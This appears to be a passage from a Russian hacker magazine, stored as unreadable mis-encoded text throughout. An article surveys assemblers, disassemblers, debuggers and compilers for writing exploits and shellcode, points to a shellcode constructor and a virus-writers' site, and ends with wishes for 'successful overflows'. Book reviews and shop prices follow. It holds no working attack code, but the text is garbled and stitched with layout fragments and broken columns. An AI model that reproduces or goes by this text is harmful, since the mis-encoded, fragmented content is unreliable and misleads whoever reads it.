Ñêà÷àòü êîíñòðóêòîð ìîæíî ñ z0mbie.host.sk.

ÅÑËÈ ÍÅÒ ÀÑÑÅÌÁËÅÐÀ ÏÎÄ ÐÓÊÎÉ

win32 shellcode constructor by z0mbie

Âíóòðåííèé
ÿçûê Ida
õîðîøî äî-
êóìåíòèðî-
âàí, è åñëè
òû ðàíüøå
ïèñàë íà
Ñè, òî ó òå-
áÿ íå äîëæ-
íî âîçíèê-
íóòü òðóä-
íîñòåé ñ
ñîçäàíèåì
ñîáñòâåí-
íûõ ôóíê-
öèé äëÿ
ýòîãî çàìå-
÷àòåëüíîãî
äèçàññåìá-
ëåðà.

WDasm ðàíî ñïèñûâàòü ñî ñ÷åòîâ

Èíòåðôåéñ KD îñòàâëÿåò æåëàòü ëó÷øåãî

Ñðåäà FASM�à



îïèñûâàòü êàæäóþ ñåêöèþ òâîåãî áóäó-
ùåãî PE-ôàéëà. Ïî÷åìó-òî ìíå ïîêàçà-
ëîñü ýòî íåâåðîÿòíî óäîáíûì.

Ïåðåíîñèìîñòü ýòîãî àññåìáëåðà ïîç-
âîëÿåò íå ïðûãàòü ê äðóãîìó êîìïèëÿ-
òîðó (è íå âñïîìèíàòü åãî ñèíòàêñèñ è
õèòðûå îñîáåííîñòè) ñðàçó æå, êàê
òîëüêî ïîÿâèëàñü íåîáõîäèìîñòü íàïè-
ñàòü shell-êîä ïîä *nix. À ê ìèëåíüêîìó
ðåäàêòîðó, íàõîäÿùåìóñÿ â äèñòðèáó-
òèâå, ñ ïîäñâåòêîé êîäà î÷åíü áûñòðî
ïðèâûêàåøü. 

MASM32
http://www.movsd.com/

Åñëè ñëîæèòü âìåñòå ASM-êîìïèëÿ-
òîð è ëèíêåð îò Microsoft, òó÷ó áèáëèî-
òåê è çàãîëîâî÷íûõ ôàéëîâ, ó÷åáíèê ïî
ïðîãðàììèðîâàíèþ íà àññåìáëåðå
Iczelion�à è öåëûé ðÿä ðàçíûõ óòèëèò,
òàê èëè èíà÷å îáëåã÷àþùèõ æèçíü êî-
äåðó, òî ìû ïîëó÷èì ïàêåò MASM32,
àäàïòèðîâàííûé ê ñîâðåìåííîìó ìèðó
ñòàðûé äîáðûé Macro Assembler.

Ïàêåò îïðåäåëåííî õîðîø. Îí íå òàê
óäîáåí ïðè íàïèñàíèè shell-êîäîâ, êàê
FASM, íî íåêîòîðûå èñïîëüçóþò åãî â
ïàðå ñ Visual C++. 

NASM
http://sourceforge.net/projects/nasm

Î÷åðåäíîé sourceforge ïðîåêò. Íà
ýòîò ðàç íå ïëîñêèé, à Netwide. Ìîù-
íûé ìîäóëüíûé x86 àññåìáëåð ñ ïåðå-
ëîïà÷åííûì ñèíòàêñèñîì, ïåðåíîñèìûé
íà ëþáûå îñè è êîìïèëÿùèé êîä â ëþ-

áîì ôîðìàòå. Â ìàíóàëå ñêàçàíî, ÷òî
îí ìîæåò ñîçäàâàòü ôàéëû ñëåäóþùèõ
ôîðìàòîâ: ELF (ôîðìàò Ëèíóêñà),
NetBSD/FreeBSD, COFF, Microsoft 16-bit
OBJ è Win32 � ñèìïàòè÷íûé ñïèñî÷åê,
îñîáåííî â íåì õîðîøî ñìîòðÿòñÿ BSD.
Âîò òîëüêî èçìåíåíèå ñèíòàêñèñà âñå
ïîðòèò. Îí, êîíå÷íî, ïîõîæ íà Intel�îâñ-
êèé, íî ñ íèì ïðèäåòñÿ ðàçáèðàòüñÿ � à
ýòî æèðíûé êóñîê âðåìåíè äëÿ ÷òåíèÿ
ìàíóàëîâ.

TASM
http://www.borland.com

Borland Turbo Assembler. Åñëè çàé-
òè íà ñòðàíè÷êó êàêîãî-íèáóäü âèðìåé-
êåðñêîãî æóðíàëà (íàïðèìåð, íà
29a.host.sk), òî ñðàçó ìîæíî çàìåòèòü,
÷òî âñå âûêëàäûâàåìûå òàì èñõîäíèêè
íàïèñàíû â ìåíüøèíñòâå ñëó÷àåâ äëÿ
MASM32 è äëÿ TASM � â áîëüøèíñòâå.
Íå çíàþ, ÷åì òàê ïðèãëÿíóëñÿ ýòîò àñ-
ñåìáëåð ðåáÿòàì, ïèøóùèì âèðóñû.
Âîçìîæíî, èìåííî ïîä íåãî îíè íà÷èíà-
ëè ïèñàòü âèðè ïîä DOS, à, êîãäà Áèëëè
âûïóñòèë Âèíäó, íå çàõîòåëè ïåðåõî-
äèòü íà ÷òî-íèáóäü äðóãîå (àëüòåðíàòè-
âîé áûë òîëüêî MASM). Â öåëîì, î÷åíü

íåïëîõîé êîìïèëÿòîð, ñòàðîâàò, ïðàâäà.
Îí óìååò ïîíèìàòü ñèíòàêñèñ MASM,
âêëþ÷àÿ åãî ìàêðîîïðåäåëåíèÿ, è ýòîé
âîçìîæíîñòüþ àêòèâíî ïîëüçóåòñÿ
áîëüøàÿ ÷àñòü ASM-êîäåðîâ, ðàáîòàþ-
ùèõ ñ TASM. Õîòÿ âî âñåõ êíèãàõ ïèøóò
î äîñòîèíñòâàõ åãî ñîáñòâåííîãî ñèí-
òàêñèñà Ideal.

ÊÎÌÏÈËßÒÎÐÛ ÑÈ

VC++
http://www.microsoft.com

Åñëè êòî è âîçüìåòñÿ ïèñàòü ýêñïëî-
èò ïîä Windows, òî îí ýòî áóäåò äåëàòü
òîëüêî â Visual C++. Ïî÷åìó? Âî-ïåð-
âûõ, ïîòîìó ÷òî ó ìåëêîìÿãêèõ ëó÷øèé
îïòèìèçàòîð êîäà � exe�øíèê ïîëó÷àåò-
ñÿ ìèíèìàëüíîãî ðàçìåðà. Âî-âòîðûõ,
Âèçóàëüíàÿ Ñòóäèÿ (Visual Studio), â
ñîñòàâ êîòîðîé âõîäèò C++, îáëàäàåò
î÷åíü õîðîøåé ñðåäîé ðàçðàáîòêè ñ
ïðèëè÷íûì îòëàä÷èêîì. Ïîäñâåòêà êîäà,
âñïëûâàþùèå îêîøêè ñ ïðîòîòèïàìè
API-ôóíêöèé � âñå ýòî áëàãîïðèÿòíî
äåéñòâóåò íà êîäåðà. Â-òðåòüèõ, ïîòîìó
÷òî íè÷åãî äðóãîãî ïîä ðóêîé íåòó, à
�Builder ìàñäàé ôîðåâà�.
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Ñòàðèê Turbo Assembler



Æàëêî, ÷òî ñêà÷àòü Ñòóäèþ èç èíòåðíåòà áóäåò çàòðóäíè-
òåëüíî, â îòëè÷èå, íàïðèìåð, îò lcc, åå äèñòðèáóòèâ íà äèñêåòó
íå âëåçåò. À åñëè ñ MSDN�îì, òî è íà DVD íå âëåçåò :).

Borland C++ Builder
http://www.borland.com

Delphi ñ ñèíòàêñèñîì Ñ++. Òàêèå æå êîìïîíåíòû, òàêàÿ æå
ñðåäà. Êîøìàð. BCB âûïëåâûâàåò îòíîñèòåëüíî íåïëîõîé
êîä, åñëè íå èñïîëüçîâàòü VCL. À åñëè èñïîëüçîâàòü, òî äàæå
ìèíèìàëüíîå ïðèëîæåíèå ñ òðóäîì íà äèñêåòó âëåçåò � õîðî-
øåíüêèé ýêñïëîèò ïîëó÷èòñÿ, íå òàê ëè? Áåç ôèðìåííîé áèá-
ëèîòåêè êëàññîâ C++ Builder ïîäîéäåò ðàçâå ÷òî ÿðûì ïðîòèâ-
íèêàì Microsoft, êîòîðûå íå ïîëüçóþòñÿ Visual Studio ïî ðå-
ëèãèîçíûì ñîîáðàæåíèÿì. À çðÿ.

GCC
http://gcc.gnu.org 

Ïîä íèêñàìè íàñ æäåò óâëåêàòåëüíîå
ïîãðóæåíèå â ìèð GNU è îáùåíèå ñ æèâû-
ìè ïðåäñòàâèòåëÿìè âèäà opensource. Íàäî
ïîïðîáîâàòü íàòðàâèòü êàêóþ-íèáóäü
ïðîãðàììó äëÿ ïîèñêà ïåðåïîëíåíèé â èñ-
õîäíèêàõ íà gnu c compiler; äóìàþ, áóäåò
ìíîãî ñìåõà. 

Åñëè â ñåòè âäðóã âûêëàäûâàþòñÿ ñûðöû
êàêîãî-íèáóäü ýêñïëîèòà, òî îíè ïî÷òè íàâåðíÿêà áóäóò äëÿ
GCC (êàê èñêëþ÷åíèå � ïðîåêò äëÿ VS). Ãëàâíûé ïëþñ ýòîãî
êîìïèëÿòîðà â òîì, ÷òî îí åñòü íà ëþáîé òà÷êå ñ óñòàíîâëåí-
íîé *nix-ñèñòåìîé è äàæå íà íåêîòîðûõ òà÷êàõ ñ Windows. ß,
êñòàòè, äëÿ êîìïèëÿöèè íèêñîâûõ ýêñïëîèòîâ â ôîðòî÷êàõ èñ-
ïîëüçóþ GCC èç cygwin�à, è âàì ñîâåòóþ.

ÂÄÎÃÎÍÊÓ
Ïîìèìî âñåõ âûøåïåðå÷èñëåííûõ ìíîé èíñòðóìåíòîâ ìî-

æåò ïðèãîäèòüñÿ òàêæå hex-ðåäàêòîð. Íàïëîäèëîñü èõ ñåé÷àñ
âåëèêîå ìíîæåñòâî. Êòî-òî ïðåäïî÷èòàåò HIEW, Êðèñ Êàñïå-
ðñêè ïîëüçóåòñÿ QVIEW, à ÿ âîò HEX Workshop þçàþ è íè â
÷åì ñåáå íå îòêàçûâàþ. Äðóã îò äðóãà ýòè ðåäàêòîðû îòëè÷à-
þòñÿ íå ñèëüíî, ïîýòîìó âûáèðàé ëþáîé � íå ïðîãàäàåøü.

Èñïîëüçóé òîò ñîôò, êîòîðûé òåáå íðàâèòñÿ. Ïðîáóé, ñòàâü,
óäàëÿé è îñòàíîâèñü íà òîì, êîòîðûé îêàæåòñÿ äëÿ òåáÿ ñà-
ìûì óäîáíûì. Âåñü ñîôò, îïèñàííûé â ñòàòüå, òû ñìîæåøü
íàéòè íà äèñêå, êîòîðûé ïðèëàãàåòñÿ ê æóðíàëó. Çàñèì êëàíÿ-
þñü, óäà÷íûõ òåáå ïåðåïîëíåíèé! E

Ñïëýø-ñêðèí Ñòóäèè

Ïîäñâåòêà êîäà, âñïëûâàþùèå
îêîøêè ñ ïðîòîòèïàìè API-

ôóíêöèé � âñå ýòî áëàãîïðèÿòíî
äåéñòâóåò íà êîäåðà.

Àíòèëîïà GNU

òóò êàê òóò



Êàðîëèê Àíäðåé (andrusha@real.xakep.ru)
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ÑÀÌÎÓ×ÈÒÅËÜ Ñ++

Íàèáîëåå óäîáíîå ðó-
êîâîäñòâî äëÿ ñàìîñ-

òîÿòåëüíîãî èçó÷åíèÿ Ñ++ â
ñîîòâåòñòâèè ñ òðåáîâàíèÿ-
ìè íîâîãî ñòàíäàðòà. Êíèãà
ñîñòîèò èç êîðîòêèõ, íî òùà-
òåëüíî ïðîäóìàííûõ óðîêîâ.
Óðîê íà÷èíàåòñÿ ñ îïèñàíèÿ
îïðåäåëåííîãî ïðîãðàììíî-
ãî ïðèíöèïà, êîòîðûé èëëþ-
ñòðèðóåòñÿ äàëåå ïðèìåðîì
("ïðèíöèï â äåéñòâèè"),  â
êîíöå ïðèâîäÿòñÿ óïðàæíå-
íèÿ äëÿ çàêðåïëåíèÿ èçó-
÷åííîãî ìàòåðèàëà. Ñîäåð-
æàíèå êàæäîãî íîâîãî óðîêà
ñòðîèòñÿ íà îñíîâå óæå
ïðîéäåííûõ, ÷òî îáëåã÷àåò
âîñïðèÿòèå ìàòåðèàëà è óñ-
êîðÿåò ïðîöåññ îáó÷åíèÿ
ïðîãðàììèðîâàíèþ íà Ñ++.

ASSEMBLER: Ó×ÅÁÍÈÊ
ÄËß ÂÓÇÎÂ

Êíèãà ïîñâÿùåíà
âîïðîñàì ïðîãðàììè-

ðîâàíèÿ íà ÿçûêå àññåìá-
ëåðà äëÿ êîìïüþòåðîâ íà
áàçå ìèêðîïðîöåññîðîâ
ôèðìû Intel (îïèñàíèå êî-
ìàíä äëÿ Intel-ñîâåñòèìûõ
ïðîöåññîðîâ äî Pentium 4
âêëþ÷èòåëüíî). Èíòåðåñíà
áóäåò â ïåðâóþ î÷åðåäü
òåì, êòî ïðîôåññèîíàëüíî
çàíèìàåòñÿ ñèñòåìíûì ïðîã-
ðàììèðîâàíèåì. Òàê êàê
ýòîò êóðñ ÷èòàåòñÿ àâòîðîì
â îäíîì èç âóçîâ, ìåòîäèêà
èçëîæåíèÿ ìàòåðèàëà - ëåê-
öèîííàÿ. Êðîìå òîãî, àâòîð
îñîáî çàîñòðÿåò âíèìàíèå
íà òåõ âîïðîñàõ, êîòîðûå
îáû÷íî âûçûâàþò òðóäíîñ-
òè ó ñòóäåíòîâ. Çäåñü òû
íàéäåøü èíôîðìàöèþ ïî
àðõèòåêòóðå ìèêðîïðîöåñ-
ñîðîâ Intel, ñðåäñòâàì àññå-
ìáëåðà äëÿ ðàáîòû ñî
ñòðóêòóðàìè äàííûõ, ìàê-
ðîñðåäñòâàì ÿçûêà, îðãàíè-
çàöèè ìîäóëüíîãî ïðîãðàì-
ìèðîâàíèÿ, ðàçðàáîòêå
îêîííûõ ïðèëîæåíèé, ïðîã-
ðàììèðîâàíèþ ìàòåìàòè-
÷åñêîãî ñîïðîöåññîðà, èñ-
ïîëüçîâàíèþ MMX-ðàñøè-
ðåíèÿ ìèêðîïðîöåññîðîâ
Pentium è ìíîãîå äðóãîå.

ASSEMBLER: 
ÏÐÀÊÒÈÊÓÌ

Ìàññà ïðàêòè÷åñêîãî
ìàòåðèàëà äëÿ ñîçäà-

íèÿ ñëîæíûõ ïðîãðàìì íà
ÿçûêå àññåìáëåðà. Ïðèâåäå-
íû âàðèàíòû àññåìáëåðíîé
ðåàëèçàöèè ìíîãèõ èçâåñò-
íûõ è âîñòðåáîâàííûõ íà
ïðàêòèêå àëãîðèòìîâ. Èçëî-
æåíèå áàçîâûõ âîïðîñîâ
ïðèêëàäíîãî ïðîãðàììèðî-
âàíèÿ ñîïðîâîæäàåòñÿ ðàñ-
ñìîòðåíèåì èíòåðåñíûõ
ïðàêòè÷åñêèõ çàäà÷. Àðèô-
ìåòèêà ÷èñåë ëþáîé ðàçðÿä-
íîñòè, ãåíåðàöèÿ ïñåâäîñëó-
÷àéíûõ ïîñëåäîâàòåëüíîñ-
òåé, ñëîæíûå ñòðóêòóðû äàí-
íûõ, ðàáîòà ñ õýø-òàáëèöà-
ìè, ñîðòèðîâêà è ïîèñê, îñ-
íîâû êîìïèëÿöèè, ðåêóðñèÿ
è ðåêóðñèâíûå àëãîðèòìû,
ðàçðàáîòêà áèáëèîòåê DLL,
ðàáîòà ñ êîíñîëüþ, ðàáîòà ñ
ôàéëàìè, àëãîðèòìû ïðåîá-
ðàçîâàíèÿ ÷èñåë, îöåíêà
ýôôåêòèâíîñòè àññåìáëåð-
íîãî êîäà, âû÷èñëåíèå êîíò-
ðîëüíûõ ñóìì è ìíîãîå äðó-
ãîå - êíèãà ñòîèò òîãî, ÷òîáû
áûòü â òâîåé áèáëèîòåêå.

ßÇÛÊ
ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß
Ñ++. ËÅÊÖÈÈ È
ÓÏÐÀÆÍÅÍÈß: Ó×ÅÁÍÈÊ 

Ñîäåðæàíèå êíèãè íå
ïðèâÿçàíî íè ê êàêîé

êîíêðåòíîé ðåàëèçàöèè Ñ++
è îõâàòûâàåò îáøèðíûé
êðóã âîïðîñîâ, íåîáõîäè-
ìûõ äëÿ ñîçäàíèÿ ïîëíî-
öåííûõ ïðîãðàìì íà Ñ++, -
îò çíàêîìñòâà ñ îñíîâàìè
ñèíòàêñèñà ÿçûêà äî ìíîãî-
÷èñëåííûõ íîâûõ ôóíêöèî-
íàëüíûõ âîçìîæíîñòåé Ñ++
(êëàññû, îáúåêòû, íàñëåäî-
âàíèå, ïîëèìîðôèçì, âèðòó-
àëüíûå ôóíêöèè, ñòàíäàðò-
íàÿ áèáëèîòåêà øàáëîíîâ
STL, RTTI è ò.ï.). Îòëè÷èòåëü-
íûå îñîáåííîñòè êíèãè -
ñòðóêòóðèðîâàííîå èçëîæå-
íèå ìàòåðèàëà è èçîáèëèå
ïðàêòè÷åñêèõ ïðèìåðîâ.
Äëÿ íà÷èíàþùèõ êíèãà ïîñ-
ëóæèò îòëè÷íûì ó÷åáíèêîì,
à äëÿ ïðîôè - íàãëÿäíûì
ñïðàâî÷íèêîì, îáëåã÷àþ-
ùèì åæåäíåâíûé òðóä.

»

»

»

»
»

2004
Øèëäò Ã.
688 ñòðàíèö

Ðàçóìíàÿ öåíà: 145 ðóáëåé

2004
Þðîâ Â.È.
637 ñòðàíèö

Ðàçóìíàÿ öåíà: 144 ðóáëÿ

2003
Ïðàòà Ñ.
1104 ñòðàíèöû

Ðàçóìíàÿ öåíà: 204 ðóáëÿ

2003
Þðîâ Â.È.
400 ñòðàíèö

Ðàçóìíàÿ öåíà: 110 ðóáëåé
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ßÇÛÊ
ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß ÑÈ 

Êîãäà íåîáõîäèìî
ñðî÷íî ïîäãëÿäåòü â

êàêèå-ëèáî ñïðàâî÷íûå ìà-
òåðèàëû ïî Ñ èëè Ñ++, êàê
íàçëî ïîä ðóêîé íå îêàçû-
âàåòñÿ íè÷åãî äåëüíîãî. Õî-
ðîøî, åñëè äîñòóïåí èíòåð-
íåò - òàì ïîäîáíîé èíôîð-
ìàöèè íàâàëîì. À åñëè íåò?
Íå òàñêàòü æå ñ ñîáîé îã-
ðîìíûå ñïðàâî÷íèêè. Ýòà
íåáîëüøàÿ êíèæêà ðåøèò
ïðîáëåìó. Â íåé íåò íè÷åãî
ëèøíåãî - òîëüêî îñíîâíûå
äàííûå: îáçîð ñèíòàêñèñà
ÿçûêà, òèïû, îïåðàòîðû, ïå-
ðåìåííûå è âûðàæåíèÿ,
öèêëû óïðàâëåíèÿ, ôóíê-
öèè è ñòðóêòóðà ïðîãðàììû,
óêàçàòåëè è ìàññèâû, ñòðóê-
òóðû, ââîä è âûâîä, èíòåð-
ôåéñ ñ UNIX, à òàêæå íåñ-
êîëüêî ïîëåçíûõ ïðèëîæå-
íèé.

ßÇÛÊ
ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß
Ñ++. ÑÏÅÖÈÀËÜÍÎÅ
ÈÇÄÀÍÈÅ 

Êíèãà îò àâòîðà ÿçû-
êà ïðîãðàììèðîâàíèÿ

Ñ++, ñ ïîäðîáíûì îïèñàíè-
åì âîçìîæíîñòåé è ýôôåê-
òèâíûõ ïîäõîäîâ ê ðåøå-
íèþ ðàçíîîáðàçíûõ çàäà÷
ïðîåêòèðîâàíèÿ è ïðîãðàì-
ìèðîâàíèÿ. Â íåé ñîäåðæèò-
ñÿ ìíîæåñòâî ïðàêòè÷åñêèõ
ïðèìåðîâ, äåìîíñòðèðóþ-
ùèõ ñîâðåìåííûé îáúåêò-
íî-îðèåíòèðîâàííûé ïîä-

õîä ê ñîçäàíèþ ïðîãðàì-
ìíûõ ïðîäóêòîâ è õîðîøèé
ñòèëü ïðîãðàììèðîâàíèÿ íà
Ñ++. Ýòî - ñïåöèàëüíîå èç-
äàíèå, áîëåå àäàïòèðîâàí-
íîå äëÿ íà÷èíàþùèõ ïðîã-
ðàììèñòîâ. Îòäåëüíî ðàñ-
ñìîòðåíû íîâîââåäåíèÿ
ÿçûêà: ñòàíäàðòíàÿ áèáëèî-
òåêà øàáëîíîâ (STL), ïðîñò-
ðàíñòâà èìåí (namespaces),
ìåõàíèçì èäåíòèôèêàöèè
òèïîâ âî âðåìÿ âûïîëíåíèÿ
(RTTI), ÿâíûå ïðèâåäåíèÿ
òèïîâ (cast-îïåðàòîðû) è
ìíîãîå äðóãîå.

ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ 
ÍÀ ßÇÛÊÅ ÀÑÑÅÌÁËÅÐÀ
IBM PC 

Åñëè òû ó÷èøüñÿ íà
ôàêóëüòåòå âû÷èñëè-

òåëüíîé ìàòåìàòèêè è êè-

áåðíåòèêå ÌÃÓ èì. Ì.Â. Ëî-
ìîíîñîâà, ïîêóïàé íå ðàç-
äóìûâàÿ - ìîæíî áóäåò íå
ïîñåùàòü ëåêöèè êóðñà
"Àðõèòåêòóðà ÝÂÌ è ÿçûê
àññåìáëåðà" :). Äëÿ âñåõ îñ-
òàëüíûõ êíèãà ïîñëóæèò
íåïëîõèì ñïðàâî÷íèêîì ïî
MASM 4.0. Â êíèãå â îñíîâ-
íîì ðàññìàòðèâàþòñÿ îá-
ùèå ïðèåìû ïðîãðàììèðî-
âàíèÿ, è ìàëî âíèìàíèÿ
óäåëåíî âîïðîñàì óïðàâëå-
íèÿ ðàçëè÷íûìè óñòðîé-
ñòâàìè ÏÊ ïðè ïîìîùè àñ-
ñåìáëåðà. Ïî ìíåíèþ àâòî-
ðà, áóäåò ïðîùå ïåðåéòè îò
îáùåãî ê ÷àñòíîìó, à íå íà-
îáîðîò.

ASSEMBLER.
ÑÏÅÖÈÀËÜÍÛÉ
ÑÏÐÀÂÎ×ÍÈÊ 

Ñïðàâî÷íûé ìàòåðèàë
ïî ÿçûêó àññåìáëåðà

äëÿ ïðîöåññîðîâ Intel (îïè-
ñàíèå ñèñòåìû êîìàíä äî
Pentium 4 âêëþ÷èòåëüíî).
Âêëþ÷åíû íåîáõîäèìûå
ñâåäåíèÿ ïî ïðîöåññîðàì
32-ðàçðÿäíîé àðõèòåêòóðû
Intel (IA-32) è âåðñèÿì ïàêå-
òîâ TASM è MASM. Êíèãà
ïðèãîäèòñÿ è ïðè ïðîãðàì-
ìèðîâàíèè ïðîöåññîðîâ,
ïîääåðæèâàþùèõ áàçîâûå
ýëåìåíòû IA-32 (ïðîöåññî-
ðû ôèðì AMD, VIA,
Transmeta). Êíèãà íàïèñàíà
ïðîôåññèîíàëüíûì ïðîã-
ðàììèñòîì è ïðåïîäàâàòå-
ëåì, ÷èòàåòñÿ ëåãêî è ïðåê-
ðàñíî ïðîèëëþñòðèðîâàíà
ïðèìåðàìè.

ÍÀ×ÀËÜÍÛÉ ÊÓÐÑ Ñ È
Ñ++ 

Ïîñîáèå äëÿ "ñàìûõ
ìàëåíüêèõ". Êíèãà íå

ïðåòåíäóåò íà èçëîæåíèå
âñåõ íþàíñîâ ÿçûêà Ñ++, íî
ïîçâîëÿåò ïîñòè÷ü îñíîâû
ïðîãðàììèðîâàíèÿ íà Ñ.
Öåííîñòü êíèãè çàêëþ÷àåò-
ñÿ â òîì, ÷òî îíà íàïèñàíà
íà îñíîâå ó÷åáíîãî êóðñà
"Ñ++ äëÿ íà÷èíàþùèõ", êî-
òîðûé ÷èòàåòñÿ íà ïðîòÿæå-
íèè íåñêîëüêèõ ëåò â ó÷åá-
íîì öåíòðå "Äèàëîã-ÌÈ-
ÔÈ". Òî åñòü ìàòåðèàë äàâ-
íî îáêàòàí íà äðóãèõ íîâè÷-
êàõ è ïðåäñòàâëÿåò ñîáîé
óíèâåðñàëüíûé èíñòðóìåíò
äëÿ ñàìîîáó÷åíèÿ. Ïðèêèíü,
ñêîëüêî ñòîèëè áû òåáå
êóðñû, à çà êíèæêó òû çàï-
ëàòèøü ìåíüøå ñîòíè.

ÇÀÙÈÙÅÍÍÛÉ ÊÎÄ 

Êíèãà äëÿ ðàçðàáîò-
÷èêîâ ñîáñòâåííîãî

ÏÎ. Ïðàêòè÷åñêèå ñîâåòû è

Îãðîìíîå ñïàñèáî áóêèíèñòè÷åñêîìó èíòåðíåò-ìàãàçèíó "OS-Êíèãà", êî-
òîðûé ëþáåçíî ïðåäîñòàâèë íàì âñå ýòè êíèæêè. Ïðè æåëàíèè òû ñìîæåøü
ïðèîáðåñòè èõ ïî ðàçóìíûì öåíàì íà ñàéòå ýòîãî ìàãàçèíà www.osbook.ru.

2001
Êåðíèãàí Á. 
352 ñòðàíèöû

Ðàçóìíàÿ öåíà: 135 ðóáëåé

2004
Ñòðàóñòðóï Á.
1004 ñòðàíèöû

Ðàçóìíàÿ öåíà: 348 ðóáëåé

2003
Ïèëüùèêîâ Â.Í.
288 ñòðàíèö

Ðàçóìíàÿ öåíà: 93 ðóáëÿ

2004
Þðîâ Â.È.
412 ñòðàíèö

Ðàçóìíàÿ öåíà: 144 ðóáëÿ

2004
Õîâàðä Ì.
704 ñòðàíèöû

Ðàçóìíàÿ öåíà: 383 ðóáëÿ

2003
Áåðåçèí Á.È.
288 ñòðàíèö

Ðàçóìíàÿ öåíà: 88 ðóáëåé

»

»

»

»

»

»



ðåêîìåíäàöèè ïî çàùèòå
ðàçðàáàòûâàåìûõ ïðèëîæå-
íèé íà âñåõ ýòàïàõ: îò ïðî-
åêòèðîâàíèÿ äî òåñòèðîâà-
íèÿ ïî âûÿâëåíèþ áðåøåé
â ãîòîâîé ïðîãðàììå è ñîç-
äàíèÿ áåçîïàñíîé äîêóìåí-
òàöèè. Èç êíèãè òû óçíàåøü,
êàê ìîäåëèðîâàòü îïàñíîñ-
òè è êàêèå ìåòîäû çàùèòû
íàèáîëåå ýôôåêòèâíû.
Ðàññìîòðåíû îñíîâíûå
ïðèíöèïû áåçîïàñíîãî êî-
äèðîâàíèÿ: ïåðåïîëíåíèå
áóôåðà, âûáîð ìåõàíèçìà
óïðàâëåíèÿ äîñòóïîì, ïðèí-
öèï ìèíèìàëüíûõ ïðèâèëå-
ãèé, ïîäâîäíûå êàìíè êðèï-
òîãðàôèè, çàùèòà ñåêðåò-
íûõ äàííûõ, íåäîñòàòêè êà-
íîíè÷åñêîãî ïðåäñòàâëå-
íèÿ, ïðîáëåìû ÁÄ è ìíîãîå
äðóãîå. Êðîìå îáùèõ ìåòî-
äîâ îáåñïå÷åíèÿ çàùèòû,
óäåëåíî îñîáîå âíèìàíèå
ñåòåâîé áåçîïàñíîñòè ïðè
ðàçðàáîòêå ñåòåâûõ ïðèëî-
æåíèé.

ÏÅÐÑÎÍÀËÜÍÀß ÇÀÙÈÒÀ
ÎÒ ÕÀÊÅÐÎÂ.
ÐÓÊÎÂÎÄÑÒÂÎ ÄËß
ÍÀ×ÈÍÀÞÙÈÕ 

Íàçâàíèå óæå ïîäðà-
çóìåâàåò, ÷òî ñîäåð-

æàíèå êíèãè êàñàåòñÿ îáåñ-
ïå÷åíèÿ áåçîïàñíîñòè ñâî-
åé ïåðñîíàëêè äîìà ïðè
ïîäêëþ÷åíèè ê èíåòó: îïðå-
äåëåíèÿ òåêóùåãî óðîâíÿ
çàùèùåííîñòè, íåîáõîäè-
ìîñòè â ñðåäñòâàõ çàùèòû è
óñèëåíèÿ çàùèòû ïîñðåä-
ñòâîì óñòàíîâêè äîïîëíè-
òåëüíûõ ïðîãðàìì. Êàê óñ-
òàíîâèòü ïåðñîíàëüíûé
áðàíäìàóýð, ÷òîáû óìåíü-
øèòü ñâîþ óÿçâèìîñòü, êàê
ïðàâèëüíî óñòàíîâèòü è
êîíôèãóðèðîâàòü McAfee,
BlackICE, Defender è
ZoneAlarm, êàê ïðîòåñòèðî-

âàòü çàùèòó è çàêðûòü ñëà-
áûå ìåñòà â ñèñòåìå áåçî-
ïàñíîñòè - â ýòîé êíèãå òû
íàéäåøü îòâåòû íà ýòè è
äðóãèå âîïðîñû.

ÇÀÙÈÒÀ ÎÒ ÕÀÊÅÐÎÂ.
ÀÍÀËÈÇ 20 ÑÖÅÍÀÐÈÅÂ
ÂÇËÎÌÀ

20 ñöåíàðèåâ âçëîìà -
20 ðåàëüíûõ èñòîðèé

èç îáëàñòè êîìïüþòåðíîé
áåçîïàñíîñòè, èçëîæåííûõ
âåäóùèìè ýêñïåðòàìè, êîí-
ñóëüòàíòàìè è ñïåöèàëèñòà-
ìè. Ïðè÷åì ýòî íå ïðîñòîé
ïåðåñêàç ñîáûòèé - ïðåäñ-
òàâëåíà ïîäíîãîòíàÿ êàæ-
äîãî ñëó÷àÿ: àíàëèç èíöè-
äåíòà è âîçìîæíûå ìåòîäû
ðåøåíèÿ ïðîáëåìû. Òå, êòî
íåñåò îòâåòñòâåííîñòü çà
áåçîïàñíîñòü ñåòåé, íàéäóò
ìíîãî èíòåðåñíîãî î ðåàëü-
íûõ âòîðæåíèÿõ, èçó÷àò
ñöåíàðèè àòàê è ñòèëè àòà-
êóþùèõ. Êíèãà ñîñòîèò èç
äâóõ ÷àñòåé: â ïåðâîé ïðè-
âîäÿòñÿ îïèñàíèå ñëó÷àÿ
âçëîìà è ñâåäåíèÿ äëÿ âîñ-
ñîçäàíèÿ ïîëíîé êàðòèíû
èíöèäåíòà, âî âòîðîé -
ïðåäëàãàþòñÿ âîçìîæíûå
ïóòè âûõîäà èç ñèòóàöèè è
äàþòñÿ îòâåòû íà ïîñòàâ-
ëåííûå âîïðîñû.

ÁÛÑÒÐÎ È ËÅÃÊÎ.
ÕÀÊÈÍÃ È ÀÍÒÈÕÀÊÈÍÃ:
ÇÀÙÈÒÀ È ÍÀÏÀÄÅÍÈÅ 

Âçëîì è çàùèòà íà
íàãëÿäíûõ ïðèìåðàõ:

ïðîíèêíîâåíèå â ñèñòåìó,
ðåàëèçàöèÿ öåëè âòîðæå-
íèÿ, ñîêðûòèå ñëåäîâ, õà-
êèíã áðàóçåðîâ, ïî÷òîâûõ
êëèåíòîâ, ICQ, âåá-ñàéòîâ,
àòàêè DoS, õàêèíã êîìïüþ-
òåðîâ Windows 2000/XP,
õàêèíã ñðåäñòâ óäàëåííîãî
óïðàâëåíèÿ, õàêèíã áðàíä-

ìàóýðîâ, ïåðåõâàò ñåòåâûõ
äàííûõ, õàêèíã êîììóòèðóå-
ìîãî äîñòóïà è ìíîãîå äðó-
ãîå. Ïðèëàãàåòñÿ äèñê, íà
êîòîðîì ðàçìåùåíî áîëåå
100 ïðîãðàìì, îïèñàííûõ â
êíèãå. 

ÇÀÙÈÒÀ
ÊÎÌÏÜÞÒÅÐÍÎÉ
ÈÍÔÎÐÌÀÖÈÈ 

Ñîâðåìåííûå òåõíî-
ëîãèè çàùèòû èíôîð-

ìàöèè, äåòàëüíî îïèñàííûå
â ýòîé êíèãå, - òâîå îðóæèå
